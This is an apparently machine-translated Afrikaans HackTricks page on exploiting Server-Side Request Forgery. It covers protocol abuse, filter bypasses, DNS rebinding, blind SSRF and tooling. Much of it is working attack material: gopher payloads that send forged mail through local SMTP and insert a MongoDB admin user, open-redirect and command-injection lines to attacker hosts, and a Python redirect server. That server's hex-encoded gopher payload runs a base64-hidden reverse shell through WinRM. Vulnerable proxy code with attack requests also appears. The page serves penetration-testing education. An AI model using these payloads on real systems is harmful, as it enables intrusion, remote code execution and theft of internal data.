SSRF (Server Side Request Forgery)

Reading time: 27 minutes

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Basiese Inligting

'n Server-side Request Forgery (SSRF) kwesbaarheid ontstaan wanneer 'n aanvaller 'n server-side toepassing manipuleer om HTTP versoeke na 'n domein van hul keuse te maak. Hierdie kwesbaarheid stel die bediener bloot aan arbitrĂȘre eksterne versoeke wat deur die aanvaller gerig word.

Capture SSRF

Die eerste ding wat jy moet doen, is om 'n SSRF-interaksie wat deur jou gegenereer is, te vang. Om 'n HTTP of DNS-interaksie te vang, kan jy gereedskap soos die volgende gebruik:

Whitelisted Domains Bypass

Gewoonlik sal jy vind dat die SSRF slegs werk in sekere whitelisted domeine of URL's. Op die volgende bladsy het jy 'n samestelling van tegnieke om te probeer om daardie whitelist te omseil:

URL Format Bypass

Bypass via open redirect

As die bediener korrek beskerm is, kan jy alle beperkings omseil deur 'n Open Redirect binne die webblad te benut. Omdat die webblad SSRF na dieselfde domein sal toelaat en waarskynlik omleidings sal volg, kan jy die Open Redirect benut om die bediener toegang te laat verkry tot enige interne hulpbron.
Lees meer hier: https://portswigger.net/web-security/ssrf

Protokolle

  • file://
  • Die URL skema file:// word genoem, wat direk na /etc/passwd wys: file:///etc/passwd
  • dict://
  • Die DICT URL skema word beskryf as gebruik om definisies of woordlyste via die DICT protokol te benader. 'n Voorbeeld wat gegee word, illustreer 'n saamgestelde URL wat 'n spesifieke woord, databasis en inskrywingsnommer teiken, sowel as 'n geval van 'n PHP-skrip wat moontlik misbruik kan word om met 'n DICT-bediener te verbind met aanvaller-gelewer geloofsbriewe: dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>
  • SFTP://
  • GeĂŻdentifiseer as 'n protokol vir veilige lĂȘer oordrag oor 'n veilige skulp, 'n voorbeeld word gegee wat toon hoe 'n PHP-skrip misbruik kan word om met 'n kwaadwillige SFTP-bediener te verbind: url=sftp://generic.com:11111/
  • TFTP://
  • Triviale LĂȘer Oordrag Protokol, wat oor UDP werk, word genoem met 'n voorbeeld van 'n PHP-skrip wat ontwerp is om 'n versoek na 'n TFTP-bediener te stuur. 'n TFTP versoek word gemaak na 'generic.com' op poort '12346' vir die lĂȘer 'TESTUDPPACKET': ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET
  • LDAP://
  • Hierdie segment dek die Lightweight Directory Access Protocol, met die klem op die gebruik daarvan om verspreide gidsinligting dienste oor IP-netwerke te bestuur en te benader. Interaksie met 'n LDAP-bediener op localhost: '%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.
  • SMTP
  • 'n Metode word beskryf om SSRF kwesbaarhede te benut om met SMTP dienste op localhost te interaksie, insluitend stappe om interne domeinnames te onthul en verdere ondersoek aksies gebaseer op daardie inligting.
From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
2. from the first line get the internal domain name 220[ http://blabla.internaldomain.com ](https://t.co/Ad49NBb7xy)ESMTP Sendmail
3. search[ http://internaldomain.com ](https://t.co/K0mHR0SPVH)on github, find subdomains
4. connect
  • Curl URL globbing - WAF omseiling
  • As die SSRF deur curl uitgevoer word, het curl 'n kenmerk genaamd URL globbing wat nuttig kan wees om WAFs te omseil. Byvoorbeeld in hierdie skrywe kan jy hierdie voorbeeld vir 'n pad traversering via file protokol vind:
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
  • Gopher://
  • Die Gopher-protokol se vermoĂ« om IP, poort en bytes vir bedienerkommunikasie te spesifiseer, word bespreek, saam met gereedskap soos Gopherus en remote-method-guesser vir die opstel van payloads. Twee verskillende gebruike word geĂŻllustreer:

Gopher://

Met hierdie protokol kan jy die IP, poort en bytes spesifiseer wat jy wil hĂȘ die bediener moet stuur. Dan kan jy basies 'n SSRF benut om met enige TCP-bediener te kommunikeer (maar jy moet weet hoe om met die diens te praat).
gelukkig kan jy Gopherus gebruik om payloads vir verskeie dienste te skep. Boonop kan remote-method-guesser gebruik word om gopher payloads vir Java RMI dienste te skep.

Gopher smtp

ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost%250d%250aMAIL%20FROM%3A%3Chacker@site.com%3E%250d%250aRCPT%20TO%3A%3Cvictim@site.com%3E%250d%250aDATA%250d%250aFrom%3A%20%5BHacker%5D%20%3Chacker@site.com%3E%250d%250aTo%3A%20%3Cvictime@site.com%3E%250d%250aDate%3A%20Tue%2C%2015%20Sep%202017%2017%3A20%3A26%20-0400%250d%250aSubject%3A%20AH%20AH%20AH%250d%250a%250d%250aYou%20didn%27t%20say%20the%20magic%20word%20%21%250d%250a%250d%250a%250d%250a.%250d%250aQUIT%250d%250a
will make a request like
HELO localhost
MAIL FROM:<hacker@site.com>
RCPT TO:<victim@site.com>
DATA
From: [Hacker] <hacker@site.com>
To: <victime@site.com>
Date: Tue, 15 Sep 2017 17:20:26 -0400
Subject: Ah Ah AHYou didn't say the magic word !
.
QUIT

Gopher HTTP

bash
#For new lines you can use %0A, %0D%0A
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body

Gopher SMTP — Terugverbinding na 1337

redirect.php
<?php
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>Now query it.
https://example.com/?q=http://evil.com/redirect.php.

Gopher MongoDB -- Skep gebruiker met gebruikersnaam=admin met wagwoord=admin123 en met toestemming=administrateur

bash
# Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
7%00%00%00%00%00%00%00%8b%00%00%00%02insert%00%06%00%00%00users%00%02$db%00%0a
%00%00%00percetron%00%04documents%00V%00%00%00%030%00N%00%00%00%02username%00%
06%00%00%00admin%00%02password%00%09%00%00%00admin123%00%02permission%00%0e%00
%00%00administrator%00%00%00%00'

SSRF via Referrer header & Others

Analytiese sagteware op bedieners log dikwels die Referrer-header om inkomende skakels te volg, 'n praktyk wat per ongeluk toepassings blootstel aan Server-Side Request Forgery (SSRF) kwesbaarhede. Dit is omdat sulke sagteware eksterne URL's wat in die Referrer-header genoem word, mag besoek om inhoud van verwysingsites te analiseer. Om hierdie kwesbaarhede te ontdek, word die Burp Suite-inprop "Collaborator Everywhere" aanbeveel, wat die manier waarop analitiese gereedskap die Referer-header verwerk, benut om potensiële SSRF-aanvaloppervlakke te identifiseer.

SSRF via SNI data from certificate

'n Misconfigurasie wat die verbinding met enige agtergrond deur 'n eenvoudige opstelling kan moontlik maak, word geĂŻllustreer met 'n voorbeeld Nginx-konfigurasie:

stream {
server {
listen 443;
resolver 127.0.0.11;
proxy_pass $ssl_preread_server_name:443;
ssl_preread on;
}
}

In hierdie konfigurasie word die waarde van die Server Name Indication (SNI) veld direk as die agtergrond se adres gebruik. Hierdie opstelling stel 'n kwesbaarheid aan Server-Side Request Forgery (SSRF) bloot, wat uitgebuit kan word deur eenvoudig die gewenste IP-adres of domeinnaam in die SNI-veld te spesifiseer. 'n Voorbeeld van 'n uitbuiting om 'n verbinding na 'n arbitrĂȘre agtergrond, soos internal.host.com, te dwing, met die openssl opdrag word hieronder gegee:

bash
openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf

Wget lĂȘer oplaai

SSRF met Opdrag Inspuiting

Dit mag die moeite werd wees om 'n payload soos: url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami` te probeer.

PDFs Rendering

As die webblad outomaties 'n PDF met inligting wat jy verskaf het, skep, kan jy sekere JS invoeg wat deur die PDF-skeppende (die bediener) self uitgevoer sal word terwyl die PDF geskep word en jy sal in staat wees om 'n SSRF te misbruik. Vind meer inligting hier.

Van SSRF na DoS

Skep verskeie sessies en probeer om swaar lĂȘers af te laai deur die SSRF van die sessies te benut.

SSRF PHP Funksies

Kyk na die volgende bladsy vir kwesbare PHP en selfs Wordpress funksies:

PHP SSRF

SSRF Oor na Gopher

Vir sommige uitbuitings mag jy 'n herlei-respons moet stuur (potensieel om 'n ander protokol soos gopher te gebruik). Hier het jy verskillende python kodes om met 'n herlei te antwoord:

python
# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
import ssl

class MainHandler(BaseHTTPRequestHandler):
def do_GET(self):
print("GET")
self.send_response(301)
self.send_header("Location", "gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%30%2e%31%30%2e%31%31%2e%31%31%37%3a%35%39%38%36%0d%0a%55%73%65%72%2d%41%67%65%6e%74%3a%20%70%79%74%68%6f%6e%2d%72%65%71%75%65%73%74%73%2f%32%2e%32%35%2e%31%0d%0a%41%63%63%65%70%74%2d%45%6e%63%6f%64%69%6e%67%3a%20%67%7a%69%70%2c%20%64%65%66%6c%61%74%65%0d%0a%41%63%63%65%70%74%3a%20%2a%2f%2a%0d%0a%43%6f%6e%6e%65%63%74%69%6f%6e%3a%20%63%6c%6f%73%65%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%73%6f%61%70%2b%78%6d%6c%3b%63%68%61%72%73%65%74%3d%55%54%46%2d%38%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%31%37%32%38%0d%0a%0d%0a%3c%73%3a%45%6e%76%65%6c%6f%70%65%20%78%6d%6c%6e%73%3a%73%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%33%2f%30%35%2f%73%6f%61%70%2d%65%6e%76%65%6c%6f%70%65%22%20%78%6d%6c%6e%73%3a%61%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%22%20%78%6d%6c%6e%73%3a%68%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%69%6e%64%6f%77%73%2f%73%68%65%6c%6c%22%20%78%6d%6c%6e%73%3a%6e%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%39%2f%65%6e%75%6d%65%72%61%74%69%6f%6e%22%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%6d%69%63%72%6f%73%6f%66%74%2e%63%6f%6d%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%77%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%6d%61%6e%2f%31%2f%77%73%6d%61%6e%2e%78%73%64%22%20%78%6d%6c%6e%73%3a%78%73%69%3d%22%68%74%74%70%3a%2f%2f%77%77%77%2e%77%33%2e%6f%72%67%2f%32%30%30%31%2f%58%4d%4c%53%63%68%65%6d%61%22%3e%0a%20%20%20%3c%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%20%20%20%3c%61%3a%54%6f%3e%48%54%54%50%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%2e%31%3a%35%39%38%36%2f%77%73%6d%61%6e%2f%3c%2f%61%3a%54%6f%3e%0a%20%20%20%20%20%20%3c%77%3a%52%65%73%6f%75%72%63%65%55%52%49%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%3c%2f%77%3a%52%65%73%6f%75%72%63%65%55%52%49%3e%0a%20%20%20%20%20%20%3c%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%20%20%20%3c%61%3a%41%64%64%72%65%73%73%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%78%6d%6c%73%6f%61%70%2e%6f%72%67%2f%77%73%2f%32%30%30%34%2f%30%38%2f%61%64%64%72%65%73%73%69%6e%67%2f%72%6f%6c%65%2f%61%6e%6f%6e%79%6d%6f%75%73%3c%2f%61%3a%41%64%64%72%65%73%73%3e%0a%20%20%20%20%20%20%3c%2f%61%3a%52%65%70%6c%79%54%6f%3e%0a%20%20%20%20%20%20%3c%61%3a%41%63%74%69%6f%6e%3e%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%2f%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%3c%2f%61%3a%41%63%74%69%6f%6e%3e%0a%20%20%20%20%20%20%3c%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%3e%31%30%32%34%30%30%3c%2f%77%3a%4d%61%78%45%6e%76%65%6c%6f%70%65%53%69%7a%65%3e%0a%20%20%20%20%20%20%3c%61%3a%4d%65%73%73%61%67%65%49%44%3e%75%75%69%64%3a%30%41%42%35%38%30%38%37%2d%43%32%43%33%2d%30%30%30%35%2d%30%30%30%30%2d%30%30%30%30%30%30%30%31%30%30%30%30%3c%2f%61%3a%4d%65%73%73%61%67%65%49%44%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%50%54%31%4d%33%30%53%3c%2f%77%3a%4f%70%65%72%61%74%69%6f%6e%54%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%77%3a%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%70%3a%44%61%74%61%4c%6f%63%61%6c%65%20%78%6d%6c%3a%6c%61%6e%67%3d%22%65%6e%2d%75%73%22%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%66%61%6c%73%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%4f%70%74%69%6f%6e%53%65%74%20%73%3a%6d%75%73%74%55%6e%64%65%72%73%74%61%6e%64%3d%22%74%72%75%65%22%20%2f%3e%0a%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%20%20%20%20%20%20%3c%77%3a%53%65%6c%65%63%74%6f%72%20%4e%61%6d%65%3d%22%5f%5f%63%69%6d%6e%61%6d%65%73%70%61%63%65%22%3e%72%6f%6f%74%2f%73%63%78%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%3e%0a%20%20%20%20%20%20%3c%2f%77%3a%53%65%6c%65%63%74%6f%72%53%65%74%3e%0a%20%20%20%3c%2f%73%3a%48%65%61%64%65%72%3e%0a%20%20%20%3c%73%3a%42%6f%64%79%3e%0a%20%20%20%20%20%20%3c%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%20%78%6d%6c%6e%73%3a%70%3d%22%68%74%74%70%3a%2f%2f%73%63%68%65%6d%61%73%2e%64%6d%74%66%2e%6f%72%67%2f%77%62%65%6d%2f%77%73%63%69%6d%2f%31%2f%63%69%6d%2d%73%63%68%65%6d%61%2f%32%2f%53%43%58%5f%4f%70%65%72%61%74%69%6e%67%53%79%73%74%65%6d%22%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%63%6f%6d%6d%61%6e%64%3e%65%63%68%6f%20%2d%6e%20%59%6d%46%7a%61%43%41%74%61%53%41%2b%4a%69%41%76%5a%47%56%32%4c%33%52%6a%63%43%38%78%4d%43%34%78%4d%43%34%78%4e%43%34%78%4d%53%38%35%4d%44%41%78%49%44%41%2b%4a%6a%45%3d%20%7c%20%62%61%73%65%36%34%20%2d%64%20%7c%20%62%61%73%68%3c%2f%70%3a%63%6f%6d%6d%61%6e%64%3e%0a%20%20%20%20%20%20%20%20%20%3c%70%3a%74%69%6d%65%6f%75%74%3e%30%3c%2f%70%3a%74%69%6d%65%6f%75%74%3e%0a%20%20%20%20%20%20%3c%2f%70%3a%45%78%65%63%75%74%65%53%68%65%6c%6c%43%6f%6d%6d%61%6e%64%5f%49%4e%50%55%54%3e%0a%20%20%20%3c%2f%73%3a%42%6f%64%79%3e%0a%3c%2f%73%3a%45%6e%76%65%6c%6f%70%65%3e%0a")
self.end_headers()

httpd = HTTPServer(('0.0.0.0', 443), MainHandler)
httpd.socket = ssl.wrap_socket(httpd.socket, certfile="server.pem", server_side=True)
httpd.serve_forever()
python
from flask import Flask, redirect
from urllib.parse import quote
app = Flask(__name__)

@app.route('/')
def root():
return redirect('gopher://127.0.0.1:5985/_%50%4f%53%54%20%2f%77%73%6d%61%6e%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20', code=301)

if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)

Misconfigured proxies to SSRF

Tricks from this post.

Flask

Flask proxy vulnerable code
python
from flask import Flask
from requests import get

app = Flask('__main__')
SITE_NAME = 'https://google.com'

@app.route('/', defaults={'path': ''})
@app.route('/<path:path>')

def proxy(path):
return get(f'{SITE_NAME}{path}').content

if __name__ == "__main__":
app.run(threaded=False)

Flask laat toe om @ as die aanvanklike karakter te gebruik, wat dit moontlik maak om die aanvanklike gasheernaam die gebruikersnaam te maak en 'n nuwe een in te spuit. Aanval versoek:

http
GET @evildomain.com/ HTTP/1.1
Host: target.com
Connection: close

Spring Boot

Kwetsbare kode:

Daar is ontdek dat dit moontlik is om die pad van 'n versoek met die karakter ; te begin, wat dit moontlik maak om dan @ te gebruik en 'n nuwe gasheer in te voeg om toegang te verkry. Aanval versoek:

http
GET ;@evil.com/url HTTP/1.1
Host: target.com
Connection: close

PHP Geboude Webbediener

Kwetsbare PHP kode
php
<?php
$site = "http://ifconfig.me";
$current_uri = $_SERVER['REQUEST_URI'];

$proxy_site = $site.$current_uri;
var_dump($proxy_site);

echo "\n\n";

$response = file_get_contents($proxy_site);
var_dump($response);
?>

PHP laat die gebruik van die karakter * voor 'n skuinsstreep in die pad van die URL toe, maar dit het ander beperkings soos dat dit slegs vir die wortelpuntnaam / gebruik kan word en dat punte . nie voor die eerste skuinsstreep toegelaat word nie, so dit is nodig om 'n puntlose-hex-gecodeerde IP-adres te gebruik, byvoorbeeld:

http
GET *@0xa9fea9fe/ HTTP/1.1
Host: target.com
Connection: close

DNS Rebidding CORS/SOP omseiling

As jy probleme het om inhoud van 'n plaaslike IP te exfiltreer as gevolg van CORS/SOP, kan DNS Rebidding gebruik word om daardie beperking te omseil:

CORS - Misconfigurations & Bypass

Geoutomatiseerde DNS Rebidding

Singularity of Origin is 'n hulpmiddel om DNS rebinding aanvalle uit te voer. Dit sluit die nodige komponente in om die IP-adres van die aanvalsbediener se DNS-naam aan die teikenmasjien se IP-adres te herbind en om aanvalslading aan te bied om kwesbare sagteware op die teikenmasjien te benut.

Kyk ook na die openbare bediener wat loop in http://rebind.it/singularity.html

DNS Rebidding + TLS Sessie ID/Sessie kaartjie

Vereistes:

  • SSRF
  • Uitgaande TLS sessies
  • Stuff op plaaslike poorte

Aanval:

  1. Vra die gebruiker/bot om toegang te verkry tot 'n domein wat deur die aanvaller beheer word
  2. Die TTL van die DNS is 0 sek (so die slagoffer sal die IP van die domein binnekort weer nagaan)
  3. 'n TLS-verbinding word geskep tussen die slagoffer en die domein van die aanvaller. Die aanvaller stel die lading binne die Sessie ID of Sessie Kaartjie bekend.
  4. Die domein sal 'n oneindige lus van herleidings teen homself begin. Die doel hiervan is om die gebruiker/bot te laat toegang verkry tot die domein totdat dit weer 'n DNS-versoek van die domein uitvoer.
  5. In die DNS-versoek word 'n private IP adres nou gegee (127.0.0.1 byvoorbeeld)
  6. Die gebruiker/bot sal probeer om die TLS-verbinding te herstel en om dit te doen sal dit die Sessie ID/Kaartjie ID stuur (waar die lading van die aanvaller bevat was). So geluk, jy het daarin geslaag om die gebruiker/bot te laat aanval.

Let daarop dat tydens hierdie aanval, as jy localhost:11211 (memcache) wil aanval, jy die slagoffer moet laat die aanvanklike verbinding met www.attacker.com:11211 tot stand bring (die poort moet altyd dieselfde wees).
Om hierdie aanval uit te voer kan jy die hulpmiddel gebruik: https://github.com/jmdx/TLS-poison/
Vir meer inligting kyk na die praatjie waar hierdie aanval verduidelik word: https://www.youtube.com/watch?v=qGpAJxfADjo&ab_channel=DEFCONConference

Blind SSRF

Die verskil tussen 'n blinde SSRF en 'n nie-blinde een is dat jy in die blinde nie die reaksie van die SSRF-versoek kan sien nie. Dan is dit moeiliker om te benut omdat jy slegs goed bekende kwesbaarhede kan benut.

Tyd-gebaseerde SSRF

Om die tyd van die reaksies van die bediener te kontroleer, mag dit moontlik wees om te weet of 'n hulpbron bestaan of nie (miskien neem dit meer tyd om toegang te verkry tot 'n bestaande hulpbron as om toegang te verkry tot een wat nie bestaan nie)

Van blind na volle misbruik status kodes

Volgens hierdie blogpos, kan sommige blinde SSRF voorkom omdat selfs al reageer die geteikende URL met 'n 200 statuskode (soos AWS metadata), is hierdie data nie behoorlik geformateer nie en daarom mag die app weier om dit te vertoon.

Dit is egter gevind dat die stuur van sommige herleidingsreaksies van 305 tot 309 in die SSRF dit moontlik mag maak om die toepassing hierdie herleidings te laat volg terwyl dit in 'n foutmodus ingaan wat nie meer die formaat van die data sal nagaan nie en dit net mag druk.

Die python bediener wat gebruik word om dit te benut is die volgende:

python
@app.route("/redir")
def redir():
count = int(request.args.get("count", 0)) + 1
# Pump out 305, 306, 307, 308, 309, 310 ...
weird_status = 301 + count
if count >= 10:                      # after 5 “weird” codes
return redirect(METADATA_URL, 302)
return redirect(f"/redir?count={count}", weird_status)

@app.route("/start")
def start():
return redirect("/redir", 302)

Stappe:

  • Eerst 302 laat die app begin volg.
  • Dan ontvang dit 305 → 306 → 307 → 308 → 309 → 310.
  • Na die 5de vreemde kode keer die PoC uiteindelik terug 302 → 169.254.169.254 → 200 OK.

Wat gebeur binne die teiken:

  • libcurl self volg 305–310; dit normaliseer net onbekende kodes na “volg.”
  • Na N vreemde omleidings (≄ 5 hier) besluit die toepassing se eie wrapper “iets is verkeerd” en skakel oor na 'n foutmodus wat bedoel is vir debugging.
  • In daardie modus dump dit die hele omleidingsketting plus finale liggaam terug na die buite oproeper.
  • Resultaat: aanvaller sien elke kop + die metadata JSON, missie voltooi.

Let daarop dat dit interessant is om statuskodes te lek wat jy voorheen nie kon lek nie (soos 'n 200). As jy egter op een of ander manier ook die statuskode van die antwoord kon kies (verbeel jou dat jy kan besluit dat die AWS metadata met 'n 500 statuskode antwoordgee), kan daar sommige statuskodes wees wat direk die inhoud van die antwoord lek.

Cloud SSRF Exploitatie

As jy 'n SSRF kwesbaarheid in 'n masjien wat binne 'n wolkomgewing loop vind, mag jy in staat wees om interessante inligting oor die wolkomgewing en selfs akrediteerbare inligting te verkry:

Cloud SSRF

SSRF Kwesbare Platforms

Verskeie bekende platforms bevat of het SSRF kwesbaarhede bevat, kyk na hulle in:

SSRF Vulnerable Platforms

Gereedskap

SSRFMap

Gereedskap om SSRF kwesbaarhede te ontdek en te benut

Gopherus

Hierdie gereedskap genereer Gopher payloads vir:

  • MySQL
  • PostgreSQL
  • FastCGI
  • Redis
  • Zabbix
  • Memcache

remote-method-guesser

remote-method-guesser is 'n Java RMI kwesbaarheid skandeerder wat aanval operasies vir die meeste algemene Java RMI kwesbaarhede ondersteun. Meeste van die beskikbare operasies ondersteun die --ssrf opsie, om 'n SSRF payload vir die aangevraagde operasie te genereer. Saam met die --gopher opsie, kan gereed-om-te-gebruik gopher payloads direk gegenereer word.

SSRF Proxy

SSRF Proxy is 'n multi-draad HTTP proxy bediener wat ontwerp is om kliënt HTTP verkeer deur HTTP bedieners wat kwesbaar is vir Server-Side Request Forgery (SSRF) te tonnel.

Om te oefen

GitHub - incredibleindishell/SSRF_Vulnerable_Lab: This Lab contain the sample codes which are vulnerable to Server-Side Request Forgery attack

Verwysings

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks